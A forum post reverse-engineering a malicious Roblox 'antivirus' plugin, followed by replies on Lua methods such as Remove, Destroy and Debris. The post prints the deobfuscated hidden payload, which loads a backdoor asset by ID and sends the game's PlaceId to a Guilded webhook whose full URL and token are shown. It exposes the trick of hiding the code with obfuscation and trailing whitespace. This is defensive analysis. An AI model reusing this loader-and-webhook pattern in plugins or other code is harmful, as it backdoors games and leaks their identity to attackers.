Reverse-engineering malicious plugins #1

ah yes, an ANTIVIRUSANTIVIRUSANTIVIRUS plugin.

lets get this in game shall we


seems legit, (btw completely rips off @Alligator_Lizard125 Anti-Virus Plugin)
but why is there 3821 spaces at the end of the script?

hmm, lets see where this goes to :wink:

code obfuscated with moonsec and vLua :uhh:
since im too lazy to constant dump moonsec lets just edit the vLua code and see what it does

  21:53:35.881  
local exe = game:GetService("InsertService"):LoadAsset(1421511821)
local success,Error = pcall(function(...)
	local k = {
		['embeds'] = {{
		    ['title'] = "**Onyx SS**",
		    ['description'] = "https://www.roblox.com/games/"..game.PlaceId
		    }}
	}
	local v = http:JSONEncode(k)
    game:GetService("HttpService"):PostAsync("https://media.guilded.gg/webhooks/9a4e6092-4080-41e0-b651-b6125c6e9eb3/Uwtah8NquWqOCmUk4EimCKWMOmG8OWWco8a04oYmakeqmYmQUOOwckAWYoE0ii84eUG6O0YioaOeUw2yuoweAI", v)	
end)
  -  Edit

now let’s delete the webhook and see our free new server-side executor we got!!!

bruh this is trash :skull: :skull:

this reverse engineer was made by Kealomon Productions (more comin soon)

12 Likes

I love how they added isVirus = false lol like that proves something

8 Likes

Also love how they casually add comments telling the reader about what each section of the plugin opening code is for.

It’s just so insane that they can just do virus:remove().

2 Likes

I think they copied from a template or passed it thru ChatGPT, I don’t even know

4 Likes

lol the fact that they didn’t even wrap the vLua module in the main script itself says something about their level

2 Likes

Pretty interesting overall, but how exactly were you able to print original source code by changing a single line of code in this vLua module to print something?

:remove() is the old version of :Delete()
it only exists in lowercase form so the uppercase :Delete() is bizarre

2 Likes

This is wrong, remove works both lowercase and capital. Remove is not the old version of Delete, delete literally doesn’t exist. Do you mean "Destroy”? Remove and Destroy are completely separate. Remove just sets the object parent to nil, while Destroy does much more and was intended to replace Remove entirely, completely deprecating the old functionality.

This in particular calls “Remove” because it actually allows the virus to continue executing.

2 Likes

I honestly, don’t think it’s called :Delete(), it’s :Destroy(). Thanks.

2 Likes

So what does DebrisService do? Doesn’t it do the same?

2 Likes

DebrisService calls destroy after a period of time.

Debris:AddItem(Instance,10) will destroy it in 10 seconds. However, if there is an overflow and the maximum entries has been hit, it will start destroying immediately until the que is below the maximum again. The maximum entries is dynamically set and within the hundreds of thousands.

4 Likes

That’s pretty interesting.
Quite intriguing to see how those backdoors worked.

i’m wondering if you’re able to edit what the guilded notification says :3